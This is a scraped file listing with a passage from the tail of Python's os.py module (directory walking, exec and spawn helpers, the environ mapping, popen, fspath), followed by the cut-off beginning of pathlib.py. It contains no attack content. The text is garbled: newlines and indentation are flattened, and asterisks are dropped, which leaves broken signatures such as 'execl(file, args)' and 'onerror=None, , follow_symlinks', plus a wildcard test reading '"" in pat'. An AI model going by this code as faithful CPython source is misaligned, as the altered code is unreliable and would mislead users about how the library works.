_add("HAVE_FTRUNCATE", "truncate") _add("HAVE_FUTIMENS", "utime") _add("HAVE_FUTIMES", "utime") _add("HAVE_FPATHCONF", "pathconf") if _exists("statvfs") and _exists("fstatvfs"): # mac os x10.3 _add("HAVE_FSTATVFS", "statvfs") supports_fd = _set _set = set() _add("HAVE_FACCESSAT", "access") # Some platforms don't support lchmod(). Often the function exists # anyway, as a stub that always returns ENOSUP or perhaps EOPNOTSUPP. # (No, I don't know why that's a good design.) ./configure will detect # this and reject it--so HAVE_LCHMOD still won't be defined on such # platforms. This is Very Helpful. # # However, sometimes platforms without a working lchmod() do have # fchmodat(). (Examples: Linux kernel 3.2 with glibc 2.15, # OpenIndiana 3.x.) And fchmodat() has a flag that theoretically makes # it behave like lchmod(). So in theory it would be a suitable # replacement for lchmod(). But when lchmod() doesn't work, fchmodat()'s # flag doesn't work either. Sadly ./configure isn't sophisticated # enough to detect this condition--it only determines whether or not # fchmodat() minimally works. # # Therefore we simply ignore fchmodat() when deciding whether or not # os.chmod supports follow_symlinks. Just checking lchmod() is # sufficient. After all--if you have a working fchmodat(), your # lchmod() almost certainly works too. # # _add("HAVE_FCHMODAT", "chmod") _add("HAVE_FCHOWNAT", "chown") _add("HAVE_FSTATAT", "stat") _add("HAVE_LCHFLAGS", "chflags") _add("HAVE_LCHMOD", "chmod") if _exists("lchown"): # mac os x10.3 _add("HAVE_LCHOWN", "chown") _add("HAVE_LINKAT", "link") _add("HAVE_LUTIMES", "utime") _add("HAVE_LSTAT", "stat") _add("HAVE_FSTATAT", "stat") _add("HAVE_UTIMENSAT", "utime") _add("MS_WINDOWS", "stat") supports_follow_symlinks = _set del _set del _have_functions del _globals del _add # Python uses fixed values for the SEEK_ constants; they are mapped # to native constants if necessary in posixmodule.c # Other possible SEEK values are directly imported from posixmodule.c SEEK_SET = 0 SEEK_CUR = 1 SEEK_END = 2 # Super directory utilities. # (Inspired by Eric Raymond; the doc strings are mostly his) def makedirs(name, mode=0o777, exist_ok=False): """makedirs(name [, mode=0o777][, exist_ok=False]) Super-mkdir; create a leaf directory and all intermediate ones. Works like mkdir, except that any intermediate path segment (not just the rightmost) will be created if it does not exist. If the target directory already exists, raise an OSError if exist_ok is False. Otherwise no exception is raised. This is recursive. """ head, tail = path.split(name) if not tail: head, tail = path.split(head) if head and tail and not path.exists(head): try: makedirs(head, exist_ok=exist_ok) except FileExistsError: # Defeats race condition when another thread created the path pass cdir = curdir if isinstance(tail, bytes): cdir = bytes(curdir, 'ASCII') if tail == cdir: # xxx/newdir/. exists if xxx/newdir exists return try: mkdir(name, mode) except OSError: # Cannot rely on checking for EEXIST, since the operating system # could give priority to other errors like EACCES or EROFS if not exist_ok or not path.isdir(name): raise def removedirs(name): """removedirs(name) Super-rmdir; remove a leaf directory and all empty intermediate ones. Works like rmdir except that, if the leaf directory is successfully removed, directories corresponding to rightmost path segments will be pruned away until either the whole path is consumed or an error occurs. Errors during this latter phase are ignored -- they generally mean that a directory was not empty. """ rmdir(name) head, tail = path.split(name) if not tail: head, tail = path.split(head) while head and tail: try: rmdir(head) except OSError: break head, tail = path.split(head) def renames(old, new): """renames(old, new) Super-rename; create directories as necessary and delete any left empty. Works like rename, except creation of any intermediate directories needed to make the new pathname good is attempted first. After the rename, directories corresponding to rightmost path segments of the old name will be pruned until either the whole path is consumed or a nonempty directory is found. Note: this function can fail with the new directory structure made if you lack permissions needed to unlink the leaf directory or file. """ head, tail = path.split(new) if head and tail and not path.exists(head): makedirs(head) rename(old, new) head, tail = path.split(old) if head and tail: try: removedirs(head) except OSError: pass __all__.extend(["makedirs", "removedirs", "renames"]) def walk(top, topdown=True, onerror=None, followlinks=False): """Directory tree generator. For each directory in the directory tree rooted at top (including top itself, but excluding '.' and '..'), yields a 3-tuple dirpath, dirnames, filenames dirpath is a string, the path to the directory. dirnames is a list of the names of the subdirectories in dirpath (excluding '.' and '..'). filenames is a list of the names of the non-directory files in dirpath. Note that the names in the lists are just names, with no path components. To get a full path (which begins with top) to a file or directory in dirpath, do os.path.join(dirpath, name). If optional arg 'topdown' is true or not specified, the triple for a directory is generated before the triples for any of its subdirectories (directories are generated top down). If topdown is false, the triple for a directory is generated after the triples for all of its subdirectories (directories are generated bottom up). When topdown is true, the caller can modify the dirnames list in-place (e.g., via del or slice assignment), and walk will only recurse into the subdirectories whose names remain in dirnames; this can be used to prune the search, or to impose a specific order of visiting. Modifying dirnames when topdown is false has no effect on the behavior of os.walk(), since the directories in dirnames have already been generated by the time dirnames itself is generated. No matter the value of topdown, the list of subdirectories is retrieved before the tuples for the directory and its subdirectories are generated. By default errors from the os.scandir() call are ignored. If optional arg 'onerror' is specified, it should be a function; it will be called with one argument, an OSError instance. It can report the error to continue with the walk, or raise the exception to abort the walk. Note that the filename is available as the filename attribute of the exception object. By default, os.walk does not follow symbolic links to subdirectories on systems that support them. In order to get this functionality, set the optional argument 'followlinks' to true. Caution: if you pass a relative pathname for top, don't change the current working directory between resumptions of walk. walk never changes the current directory, and assumes that the client doesn't either. Example: import os from os.path import join, getsize for root, dirs, files in os.walk('python/Lib/email'): print(root, "consumes", end="") print(sum([getsize(join(root, name)) for name in files]), end="") print("bytes in", len(files), "non-directory files") if 'CVS' in dirs: dirs.remove('CVS') # don't visit CVS directories """ top = fspath(top) dirs = [] nondirs = [] walk_dirs = [] # We may not have read permission for top, in which case we can't # get a list of the files the directory contains. os.walk # always suppressed the exception then, rather than blow up for a # minor reason when (say) a thousand readable directories are still # left to visit. That logic is copied here. try: # Note that scandir is global in this module due # to earlier import-. scandir_it = scandir(top) except OSError as error: if onerror is not None: onerror(error) return with scandir_it: while True: try: try: entry = next(scandir_it) except StopIteration: break except OSError as error: if onerror is not None: onerror(error) return try: is_dir = entry.is_dir() except OSError: # If is_dir() raises an OSError, consider that the entry is not # a directory, same behaviour than os.path.isdir(). is_dir = False if is_dir: dirs.append(entry.name) else: nondirs.append(entry.name) if not topdown and is_dir: # Bottom-up: recurse into sub-directory, but exclude symlinks to # directories if followlinks is False if followlinks: walk_into = True else: try: is_symlink = entry.is_symlink() except OSError: # If is_symlink() raises an OSError, consider that the # entry is not a symbolic link, same behaviour than # os.path.islink(). is_symlink = False walk_into = not is_symlink if walk_into: walk_dirs.append(entry.path) # Yield before recursion if going top down if topdown: yield top, dirs, nondirs # Recurse into sub-directories islink, join = path.islink, path.join for dirname in dirs: new_path = join(top, dirname) # Issue #23605: os.path.islink() is used instead of caching # entry.is_symlink() result during the loop on os.scandir() because # the caller can replace the directory entry during the "yield" # above. if followlinks or not islink(new_path): yield from walk(new_path, topdown, onerror, followlinks) else: # Recurse into sub-directories for new_path in walk_dirs: yield from walk(new_path, topdown, onerror, followlinks) # Yield after recursion if going bottom up yield top, dirs, nondirs __all__.append("walk") if {open, stat} <= supports_dir_fd and {scandir, stat} <= supports_fd: def fwalk(top=".", topdown=True, onerror=None, , follow_symlinks=False, dir_fd=None): """Directory tree generator. This behaves exactly like walk(), except that it yields a 4-tuple dirpath, dirnames, filenames, dirfd `dirpath`, `dirnames` and `filenames` are identical to walk() output, and `dirfd` is a file descriptor referring to the directory `dirpath`. The advantage of fwalk() over walk() is that it's safe against symlink races (when follow_symlinks is False). If dir_fd is not None, it should be a file descriptor open to a directory, and top should be relative; top will then be relative to that directory. (dir_fd is always supported for fwalk.) Caution: Since fwalk() yields file descriptors, those are only valid until the next iteration step, so you should dup() them if you want to keep them for a longer period. Example: import os for root, dirs, files, rootfd in os.fwalk('python/Lib/email'): print(root, "consumes", end="") print(sum([os.stat(name, dir_fd=rootfd).st_size for name in files]), end="") print("bytes in", len(files), "non-directory files") if 'CVS' in dirs: dirs.remove('CVS') # don't visit CVS directories """ if not isinstance(top, int) or not hasattr(top, '__index__'): top = fspath(top) # Note: To guard against symlink races, we use the standard # lstat()/open()/fstat() trick. if not follow_symlinks: orig_st = stat(top, follow_symlinks=False, dir_fd=dir_fd) topfd = open(top, O_RDONLY, dir_fd=dir_fd) try: if (follow_symlinks or (st.S_ISDIR(orig_st.st_mode) and path.samestat(orig_st, stat(topfd)))): yield from _fwalk(topfd, top, isinstance(top, bytes), topdown, onerror, follow_symlinks) finally: close(topfd) def _fwalk(topfd, toppath, isbytes, topdown, onerror, follow_symlinks): # Note: This uses O(depth of the directory tree) file descriptors: if # necessary, it can be adapted to only require O(1) FDs, see issue # #13734. scandir_it = scandir(topfd) dirs = [] nondirs = [] entries = None if topdown or follow_symlinks else [] for entry in scandir_it: name = entry.name if isbytes: name = fsencode(name) try: if entry.is_dir(): dirs.append(name) if entries is not None: entries.append(entry) else: nondirs.append(name) except OSError: try: # Add dangling symlinks, ignore disappeared files if entry.is_symlink(): nondirs.append(name) except OSError: pass if topdown: yield toppath, dirs, nondirs, topfd for name in dirs if entries is None else zip(dirs, entries): try: if not follow_symlinks: if topdown: orig_st = stat(name, dir_fd=topfd, follow_symlinks=False) else: assert entries is not None name, entry = name orig_st = entry.stat(follow_symlinks=False) dirfd = open(name, O_RDONLY, dir_fd=topfd) except OSError as err: if onerror is not None: onerror(err) continue try: if follow_symlinks or path.samestat(orig_st, stat(dirfd)): dirpath = path.join(toppath, name) yield from _fwalk(dirfd, dirpath, isbytes, topdown, onerror, follow_symlinks) finally: close(dirfd) if not topdown: yield toppath, dirs, nondirs, topfd __all__.append("fwalk") # Make sure os.environ exists, at least try: environ except NameError: environ = {} def execl(file, args): """execl(file, args) Execute the executable file with argument list args, replacing the current process. """ execv(file, args) def execle(file, args): """execle(file, args, env) Execute the executable file with argument list args and environment env, replacing the current process. """ env = args[-1] execve(file, args[:-1], env) def execlp(file, args): """execlp(file, args) Execute the executable file (which is searched for along $PATH) with argument list args, replacing the current process. """ execvp(file, args) def execlpe(file, args): """execlpe(file, args, env) Execute the executable file (which is searched for along $PATH) with argument list args and environment env, replacing the current process. """ env = args[-1] execvpe(file, args[:-1], env) def execvp(file, args): """execvp(file, args) Execute the executable file (which is searched for along $PATH) with argument list args, replacing the current process. args may be a list or tuple of strings. """ _execvpe(file, args) def execvpe(file, args, env): """execvpe(file, args, env) Execute the executable file (which is searched for along $PATH) with argument list args and environment env, replacing the current process. args may be a list or tuple of strings. """ _execvpe(file, args, env) __all__.extend(["execl","execle","execlp","execlpe","execvp","execvpe"]) def _execvpe(file, args, env=None): if env is not None: exec_func = execve argrest = (args, env) else: exec_func = execv argrest = (args,) env = environ if path.dirname(file): exec_func(file, argrest) return saved_exc = None path_list = get_exec_path(env) if name != 'nt': file = fsencode(file) path_list = map(fsencode, path_list) for dir in path_list: fullname = path.join(dir, file) try: exec_func(fullname, argrest) except (FileNotFoundError, NotADirectoryError) as e: last_exc = e except OSError as e: last_exc = e if saved_exc is None: saved_exc = e if saved_exc is not None: raise saved_exc raise last_exc def get_exec_path(env=None): """Returns the sequence of directories that will be searched for the named executable (similar to a shell) when launching a process. env must be an environment variable dict or None. If env is None, os.environ will be used. """ # Use a local import instead of a global import to limit the number of # modules loaded at startup: the os module is always loaded at startup by # Python. It may also avoid a bootstrap issue. import warnings if env is None: env = environ # {b'PATH': ...}.get('PATH') and {'PATH': ...}.get(b'PATH') emit a # BytesWarning when using python -b or python -bb: ignore the warning with warnings.catch_warnings(): warnings.simplefilter("ignore", BytesWarning) try: path_list = env.get('PATH') except TypeError: path_list = None if supports_bytes_environ: try: path_listb = env[b'PATH'] except (KeyError, TypeError): pass else: if path_list is not None: raise ValueError( "env cannot contain 'PATH' and b'PATH' keys") path_list = path_listb if path_list is not None and isinstance(path_list, bytes): path_list = fsdecode(path_list) if path_list is None: path_list = defpath return path_list.split(pathsep) # Change environ to automatically call putenv(), unsetenv if they exist. from _collections_abc import MutableMapping class _Environ(MutableMapping): def __init__(self, data, encodekey, decodekey, encodevalue, decodevalue, putenv, unsetenv): self.encodekey = encodekey self.decodekey = decodekey self.encodevalue = encodevalue self.decodevalue = decodevalue self.putenv = putenv self.unsetenv = unsetenv self._data = data def __getitem__(self, key): try: value = self._data[self.encodekey(key)] except KeyError: # raise KeyError with the original key value raise KeyError(key) from None return self.decodevalue(value) def __setitem__(self, key, value): key = self.encodekey(key) value = self.encodevalue(value) self.putenv(key, value) self._data[key] = value def __delitem__(self, key): encodedkey = self.encodekey(key) self.unsetenv(encodedkey) try: del self._data[encodedkey] except KeyError: # raise KeyError with the original key value raise KeyError(key) from None def __iter__(self): # list() from dict object is an atomic operation keys = list(self._data) for key in keys: yield self.decodekey(key) def __len__(self): return len(self._data) def __repr__(self): return 'environ({{{}}})'.format(', '.join( ('{!r}: {!r}'.format(self.decodekey(key), self.decodevalue(value)) for key, value in self._data.items()))) def copy(self): return dict(self) def setdefault(self, key, value): if key not in self: self[key] = value return self[key] try: _putenv = putenv except NameError: _putenv = lambda key, value: None else: if "putenv" not in __all__: __all__.append("putenv") try: _unsetenv = unsetenv except NameError: _unsetenv = lambda key: _putenv(key, "") else: if "unsetenv" not in __all__: __all__.append("unsetenv") def _createenviron(): if name == 'nt': # Where Env Var Names Must Be UPPERCASE def check_str(value): if not isinstance(value, str): raise TypeError("str expected, not %s" % type(value).__name__) return value encode = check_str decode = str def encodekey(key): return encode(key).upper() data = {} for key, value in environ.items(): data[encodekey(key)] = value else: # Where Env Var Names Can Be Mixed Case encoding = sys.getfilesystemencoding() def encode(value): if not isinstance(value, str): raise TypeError("str expected, not %s" % type(value).__name__) return value.encode(encoding, 'surrogateescape') def decode(value): return value.decode(encoding, 'surrogateescape') encodekey = encode data = environ return _Environ(data, encodekey, decode, encode, decode, _putenv, _unsetenv) # unicode environ environ = _createenviron() del _createenviron def getenv(key, default=None): """Get an environment variable, return None if it doesn't exist. The optional second argument can specify an alternate default. key, default and the result are str.""" return environ.get(key, default) supports_bytes_environ = (name != 'nt') __all__.extend(("getenv", "supports_bytes_environ")) if supports_bytes_environ: def _check_bytes(value): if not isinstance(value, bytes): raise TypeError("bytes expected, not %s" % type(value).__name__) return value # bytes environ environb = _Environ(environ._data, _check_bytes, bytes, _check_bytes, bytes, _putenv, _unsetenv) del _check_bytes def getenvb(key, default=None): """Get an environment variable, return None if it doesn't exist. The optional second argument can specify an alternate default. key, default and the result are bytes.""" return environb.get(key, default) __all__.extend(("environb", "getenvb")) def _fscodec(): encoding = sys.getfilesystemencoding() errors = sys.getfilesystemencodeerrors() def fsencode(filename): """Encode filename (an os.PathLike, bytes, or str) to the filesystem encoding with 'surrogateescape' error handler, return bytes unchanged. On Windows, use 'strict' error handler if the file system encoding is 'mbcs' (which is the default encoding). """ filename = fspath(filename) # Does type-checking of `filename`. if isinstance(filename, str): return filename.encode(encoding, errors) else: return filename def fsdecode(filename): """Decode filename (an os.PathLike, bytes, or str) from the filesystem encoding with 'surrogateescape' error handler, return str unchanged. On Windows, use 'strict' error handler if the file system encoding is 'mbcs' (which is the default encoding). """ filename = fspath(filename) # Does type-checking of `filename`. if isinstance(filename, bytes): return filename.decode(encoding, errors) else: return filename return fsencode, fsdecode fsencode, fsdecode = _fscodec() del _fscodec # Supply spawn() (probably only for Unix) if _exists("fork") and not _exists("spawnv") and _exists("execv"): P_WAIT = 0 P_NOWAIT = P_NOWAITO = 1 __all__.extend(["P_WAIT", "P_NOWAIT", "P_NOWAITO"]) # XXX Should we support P_DETACH? I suppose it could fork()2 # and close the std I/O streams. Also, P_OVERLAY is the same # as execv()? def _spawnvef(mode, file, args, env, func): # Internal helper; func is the exec() function to use if not isinstance(args, (tuple, list)): raise TypeError('argv must be a tuple or a list') if not args or not args[0]: raise ValueError('argv first element cannot be empty') pid = fork() if not pid: # Child try: if env is None: func(file, args) else: func(file, args, env) except: _exit(127) else: # Parent if mode == P_NOWAIT: return pid # Caller is responsible for waiting! while 1: wpid, sts = waitpid(pid, 0) if WIFSTOPPED(sts): continue elif WIFSIGNALED(sts): return -WTERMSIG(sts) elif WIFEXITED(sts): return WEXITSTATUS(sts) else: raise OSError("Not stopped, signaled or exited???") def spawnv(mode, file, args): """spawnv(mode, file, args) -> integer Execute file with arguments from args in a subprocess. If mode == P_NOWAIT return the pid of the process. If mode == P_WAIT return the process's exit code if it exits normally; otherwise return -SIG, where SIG is the signal that killed it. """ return _spawnvef(mode, file, args, None, execv) def spawnve(mode, file, args, env): """spawnve(mode, file, args, env) -> integer Execute file with arguments from args in a subprocess with the specified environment. If mode == P_NOWAIT return the pid of the process. If mode == P_WAIT return the process's exit code if it exits normally; otherwise return -SIG, where SIG is the signal that killed it. """ return _spawnvef(mode, file, args, env, execve) # Note: spawnvp[e] isn't currently supported on Windows def spawnvp(mode, file, args): """spawnvp(mode, file, args) -> integer Execute file (which is looked for along $PATH) with arguments from args in a subprocess. If mode == P_NOWAIT return the pid of the process. If mode == P_WAIT return the process's exit code if it exits normally; otherwise return -SIG, where SIG is the signal that killed it. """ return _spawnvef(mode, file, args, None, execvp) def spawnvpe(mode, file, args, env): """spawnvpe(mode, file, args, env) -> integer Execute file (which is looked for along $PATH) with arguments from args in a subprocess with the supplied environment. If mode == P_NOWAIT return the pid of the process. If mode == P_WAIT return the process's exit code if it exits normally; otherwise return -SIG, where SIG is the signal that killed it. """ return _spawnvef(mode, file, args, env, execvpe) __all__.extend(["spawnv", "spawnve", "spawnvp", "spawnvpe"]) if _exists("spawnv"): # These aren't supplied by the basic Windows code # but can be easily implemented in Python def spawnl(mode, file, args): """spawnl(mode, file, args) -> integer Execute file with arguments from args in a subprocess. If mode == P_NOWAIT return the pid of the process. If mode == P_WAIT return the process's exit code if it exits normally; otherwise return -SIG, where SIG is the signal that killed it. """ return spawnv(mode, file, args) def spawnle(mode, file, args): """spawnle(mode, file, args, env) -> integer Execute file with arguments from args in a subprocess with the supplied environment. If mode == P_NOWAIT return the pid of the process. If mode == P_WAIT return the process's exit code if it exits normally; otherwise return -SIG, where SIG is the signal that killed it. """ env = args[-1] return spawnve(mode, file, args[:-1], env) __all__.extend(["spawnl", "spawnle"]) if _exists("spawnvp"): # At the moment, Windows doesn't implement spawnvp[e], # so it won't have spawnlp[e] either. def spawnlp(mode, file, args): """spawnlp(mode, file, args) -> integer Execute file (which is looked for along $PATH) with arguments from args in a subprocess with the supplied environment. If mode == P_NOWAIT return the pid of the process. If mode == P_WAIT return the process's exit code if it exits normally; otherwise return -SIG, where SIG is the signal that killed it. """ return spawnvp(mode, file, args) def spawnlpe(mode, file, args): """spawnlpe(mode, file, args, env) -> integer Execute file (which is looked for along $PATH) with arguments from args in a subprocess with the supplied environment. If mode == P_NOWAIT return the pid of the process. If mode == P_WAIT return the process's exit code if it exits normally; otherwise return -SIG, where SIG is the signal that killed it. """ env = args[-1] return spawnvpe(mode, file, args[:-1], env) __all__.extend(["spawnlp", "spawnlpe"]) # Supply os.popen() def popen(cmd, mode="r", buffering=-1): if not isinstance(cmd, str): raise TypeError("invalid cmd type (%s, expected string)" % type(cmd)) if mode not in ("r", "w"): raise ValueError("invalid mode %r" % mode) if buffering == 0 or buffering is None: raise ValueError("popen() does not support unbuffered streams") import subprocess, io if mode == "r": proc = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, bufsize=buffering) return _wrap_close(io.TextIOWrapper(proc.stdout), proc) else: proc = subprocess.Popen(cmd, shell=True, stdin=subprocess.PIPE, bufsize=buffering) return _wrap_close(io.TextIOWrapper(proc.stdin), proc) # Helper for popen() -- a proxy for a file whose close waits for the process class _wrap_close: def __init__(self, stream, proc): self._stream = stream self._proc = proc def close(self): self._stream.close() returncode = self._proc.wait() if returncode == 0: return None if name == 'nt': return returncode else: return returncode << 8 # Shift left to match old behavior def __enter__(self): return self def __exit__(self, args): self.close() def __getattr__(self, name): return getattr(self._stream, name) def __iter__(self): return iter(self._stream) # Supply os.fdopen() def fdopen(fd, args, kwargs): if not isinstance(fd, int): raise TypeError("invalid fd type (%s, expected integer)" % type(fd)) import io return io.open(fd, args, **kwargs) # For testing purposes, make sure the function is available when the C # implementation exists. def _fspath(path): """Return the path representation of a path-like object. If str or bytes is passed in, it is returned unchanged. Otherwise the os.PathLike interface is used to get the path representation. If the path representation is not str or bytes, TypeError is raised. If the provided path is not str, bytes, or os.PathLike, TypeError is raised. """ if isinstance(path, (str, bytes)): return path # Work from the object's type to match method resolution of other magic # methods. path_type = type(path) try: path_repr = path_type.__fspath__(path) except AttributeError: if hasattr(path_type, '__fspath__'): raise else: raise TypeError("expected str, bytes or os.PathLike object, " "not " + path_type.__name__) if isinstance(path_repr, (str, bytes)): return path_repr else: raise TypeError("expected {}.__fspath__() to return str or bytes, " "not {}".format(path_type.__name__, type(path_repr).__name__)) # If there is no C implementation, make the pure Python version the # implementation as transparently as possible. if not _exists('fspath'): fspath = _fspath fspath.__name__ = "fspath" class PathLike(abc.ABC): """Abstract base class for implementing the file system path protocol.""" @abc.abstractmethod def __fspath__(self): """Return the file system path representation of the object.""" raise NotImplementedError @classmethod def __subclasshook__(cls, subclass): if cls is PathLike: return _check_methods(subclass, '__fspath__') return NotImplemented	37.01 KB	2024-04-17 17:55
📄 pathlib.py import fnmatch import functools import io import ntpath import os import posixpath import re import sys from _collections_abc import Sequence from errno import EINVAL, ENOENT, ENOTDIR, EBADF, ELOOP from operator import attrgetter from stat import S_ISDIR, S_ISLNK, S_ISREG, S_ISSOCK, S_ISBLK, S_ISCHR, S_ISFIFO from urllib.parse import quote_from_bytes as urlquote_from_bytes supports_symlinks = True if os.name == 'nt': import nt if sys.getwindowsversion()[:2] >= (6, 0): from nt import _getfinalpathname else: supports_symlinks = False _getfinalpathname = None else: nt = None __all__ = [ "PurePath", "PurePosixPath", "PureWindowsPath", "Path", "PosixPath", "WindowsPath", ] # # Internals # # EBADF - guard against macOS `stat` throwing EBADF _IGNORED_ERROS = (ENOENT, ENOTDIR, EBADF, ELOOP) _IGNORED_WINERRORS = ( 21, # ERROR_NOT_READY - drive exists but is not accessible 1921, # ERROR_CANT_RESOLVE_FILENAME - fix for broken symlink pointing to itself ) def _ignore_error(exception): return (getattr(exception, 'errno', None) in _IGNORED_ERROS or getattr(exception, 'winerror', None) in _IGNORED_WINERRORS) def _is_wildcard_pattern(pat): # Whether this pattern needs actual matching using fnmatch, or can # be looked up directly as a file. return "" in pat or "?" in pat or "[" in pat class _Flavour(object): """A flavour implements a particular (platform-specific) set of path semantics.""" def __init__(self): self.join = self.sep.join def parse_parts(self, parts): parsed = [] sep = self.sep altsep = self.altsep drv = root = '' it = reversed(parts) for part in it: if not part: continue if altsep: part = part.replace(altsep, sep) drv, root, rel = self.splitroot(part) if sep in rel: for x in reversed(rel.split(sep)): if x and x != '.': parsed.append(sys.intern(x)) else: if rel and rel != '.': parsed.append(sys.intern(rel)) if drv or root: if not drv: # If no drive is present, try to find one in the previous # parts. This makes the result of parsing e.g. # ("C:", "/", "a") reasonably intuitive. for part in it: if not part: continue if altsep: part = part.replace(altsep, sep) drv = self.splitroot(part)[0] if drv: break break if drv or root: parsed.append(drv + root) parsed.reverse() return drv, root, parsed def join_parsed_parts(self, drv, root, parts, drv2, root2, parts2): """ Join the two paths represented by the respective (drive, root, parts) tuples. Return a new (drive, root, parts) tuple. """ if root2: if not drv2 and drv: return drv, root2, [drv + root2] + parts2[1:] elif drv2: if drv2 == drv or self.casefold(drv2) == self.casefold(drv): # Same drive => second path is relative to the first return drv, root, parts + parts2[1:] else: # Second path is non-anchored (common case) return drv, root, parts + parts2 return drv2, root2, parts2 class _WindowsFlavour(_Flavour): # Reference for Windows paths can be found at # http://msdn.microsoft.com/en-us/library/aa365247%28v=vs.85%29.aspx sep = '\\' altsep = '/' has_drv = True pathmod = ntpath is_supported = (os.name == 'nt') drive_letters = set('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ') ext_namespace_prefix = '\\\\?\\' reserved_names = ( {'CON', 'PRN', 'AUX', 'NUL'} \| {'COM%d' % i for i in range(1, 10)} \| {'LPT%d' % i for i in range(1, 10)} ) # Interesting findings about extended paths: # - '\\?\c:\a', '//?/c:\a' and '//?/c:/a' are all supported # but '\\?\c:/a' is not # - extended paths are always absolute; "relative" extended paths will # fail. def splitroot(self, part, sep=sep): first = part[0:1] second = part[1:2] if (second == sep and first == sep): # XXX extended paths should also disable the collapsing of "." # components (according to MSDN docs). prefix, part = self._split_extended_path(part) first = part[0:1] second = part[1:2] else: prefix = '' third = part[2:3] if (second == sep and first == sep and third != sep): # is a UNC path: # vvvvvvvvvvvvvvvvvvvvv root # \\machine\mountpoint\directory\etc\... # directory ^^^^^^^^^^^^^^ index = part.find(sep, 2) if index != -1: index2 = part.find(sep, index + 1) # a UNC path can't have two slashes in a row # (after the initial two) if index2 != index + 1: if index2 == -1: index2 = len(part) if prefix: return prefix + part[1:index2], sep, part[index2+1:] else: return part[:index2], sep, part[index2+1:] drv = root = '' if second == ':' and first in self.drive_letters: drv = part[:2] part = part[2:] first = third if first == sep: root = first part = part.lstrip(sep) return prefix + drv, root, part def casefold(self, s): return s.lower() def casefold_parts(self, parts): return [p.lower() for p in parts] def compile_pattern(self, pattern): return re.compile(fnmatch.translate(pattern), re.IGNORECASE).fullmatch def resolve(self, path, strict=False): s = str(path) if not s: return os.getcwd() previous_s = None if _getfinalpathname is not None: if strict: return self._ext_to_normal(_getfinalpathname(s)) else: tail_parts = [] # End of the path after the first one not found while True: try: s = self._ext_to_normal(_getfinalpathname(s)) except FileNotFoundError: previous_s = s s, tail = os.path.split(s) tail_parts.append(tail) if previous_s == s: return path else: return os.path.join(s, reversed(tail_parts)) # Means fallback on absolute return None def _split_extended_path(self, s, ext_prefix=ext_namespace_prefix): prefix = '' if s.startswith(ext_prefix): prefix = s[:4] s = s[4:] if s.startswith('UNC\\'): prefix += s[:3] s = '\\' + s[3:] return prefix, s def _ext_to_normal(self, s): # Turn back an extended path into a normal DOS-like path return self._split_extended_path(s)[1] def is_reserved(self, parts): # NOTE: the rules for reserved names seem somewhat complicated # (e.g. r"..\NUL" is reserved but not r"foo\NUL"). # We err on the side of caution and return True for paths which are # not considered reserved by Windows. if not parts: return False if parts[0].startswith('\\\\'): # UNC paths are never reserved return False return parts[-1].partition('.')[0].upper() in self.reserved_names def make_uri(self, path): # Under Windows, file URIs use the UTF-8 encoding. drive = path.drive if len(drive) == 2 and drive[1] == ':': # It's a path on a local drive => 'file:///c:/a/b' rest = path.as_posix()[2:].lstrip('/') return 'file:///%s/%s' % ( drive, urlquote_from_bytes(rest.encode('utf-8'))) else: # It's a path on a network drive => 'file://host/share/a/b' return 'file:' + urlquote_from_bytes(path.as_posix().encode('utf-8')) def gethomedir(self, username): if 'HOME' in os.environ: userhome = os.environ['HOME'] elif 'USERPROFILE' in os.environ: userhome = os.environ['USERPROFILE'] elif 'HOMEPATH' in os.environ: try: drv = os.environ['HOMEDRIVE'] except KeyError: drv = '' userhome = drv + os.environ['HOMEPATH'] else: raise RuntimeError("Can't determine home directory") if username: # Try to guess user home directory. By default all users # directories are located in the same place and are named by # corresponding usernames. If current user home directory points # to nonstandard place, this guess is likely wrong. if os.environ['USERNAME'] != username: drv, root, parts = self.parse_parts((userhome,)) if parts[-1] != os.environ['USERNAME']: raise RuntimeError("Can't determine home directory " "for %r" % username) parts[-1] = username if drv or root: userhome = drv + root + self.join(parts[1:]) else: userhome = self.join(parts) return userhome class _PosixFlavour(_Flavour): sep = '/' altsep = '' has_drv = False pathmod = posixpath is_supported = (os.name != 'nt') def splitroot(self, part, sep=sep): if part and part[0] == sep: stripped_part = part.lstrip(sep) # According to POSIX path resolution: # http://pubs.opengroup.org/onlinepubs/009695399/basedefs/xbd_chap04.html#tag_04_11 # "A pathname that begins with two successive slashes may be # interpreted in an implementation-defined manner, although more # than two leading slashes shall be treated as a single slash". if len(part) - len(stripped_part) == 2: return '', sep * 2, stripped_part else: return '', sep, stripped_part else: return '', '', part def casefold(self, s): return s def casefold_parts(self, parts): return parts def compile_pattern(self, pattern): return re.compile(fnmatch.translate(pattern)).fullmatch def resolve(self, path, strict=False): sep = self.sep accessor = path._accessor seen = {} def _resolve(path, rest): if rest.startswith(sep): path = '' for name in rest.split(sep): if not name or name == '.': # current dir continue if name == '..': # parent dir path, _, _ = path.rpartition(sep) continue newpath = path + sep + name if newpath in seen: # Already seen this path path = seen[newpath] if path is not None: # use cached value continue # The symlink is not resolved, so we must have a symlink loop. raise RuntimeError("Symlink loop from %r" % newpath) # Resolve the symbolic link try: target = accessor.readlink(newpath) except OSError as e: if e.errno != EINVAL and strict: raise # Not a symlink, or non-strict mode. We just leave the path # untouched. path = newpath else: seen[newpath] = None # not resolved symlink path = _resolve(path, target) seen[newpath] = path # resolved symlink return path # NOTE: according to POSIX, getcwd() cannot contain path components # which are symlinks. base = '' if path.is_absolute() else os.getcwd() return _resolve(base, str(path)) or sep def is_reserved(self, parts): return False def make_uri(self, path): # We represent the path using the local filesystem encoding, # for portability to other applications. bpath = bytes(path) return 'file://' + urlquote_from_bytes(bpath) def gethomedir(self, username): if not username: try: return os.environ['HOME'] except KeyError: import pwd return pwd.getpwuid(os.getuid()).pw_dir else: import pwd try: return pwd.getpwnam(username).pw_dir except KeyError: raise RuntimeError("Can't determine home directory " "for %r" % username) _windows_flavour = _WindowsFlavour() _posix_flavour = _PosixFlavour() class _Accessor: """An accessor implements a particular (system-specific or not) way of accessing paths on the filesystem.""" class _NormalAccessor(_Accessor): stat = os.stat lstat = os.lstat open = os.open listdir = os.listdir scandir = os.scandir chmod = os.chmod if hasattr(os, "lchmod"): lchmod = os.lchmod else: def lchmod(self, pathobj, mode): raise NotImplementedError("lchmod() not available on this system") mkdir = os.mkdir unlink = os.unlink rmdir = os.rmdir rename = os.rename replace = os.replace if nt: if supports_symlinks: symlink = os.symlink else: def symlink(a, b, target_is_directory): raise NotImplementedError("symlink() not available on this system") else: # Under POSIX, os.symlink() takes two args @staticmethod def 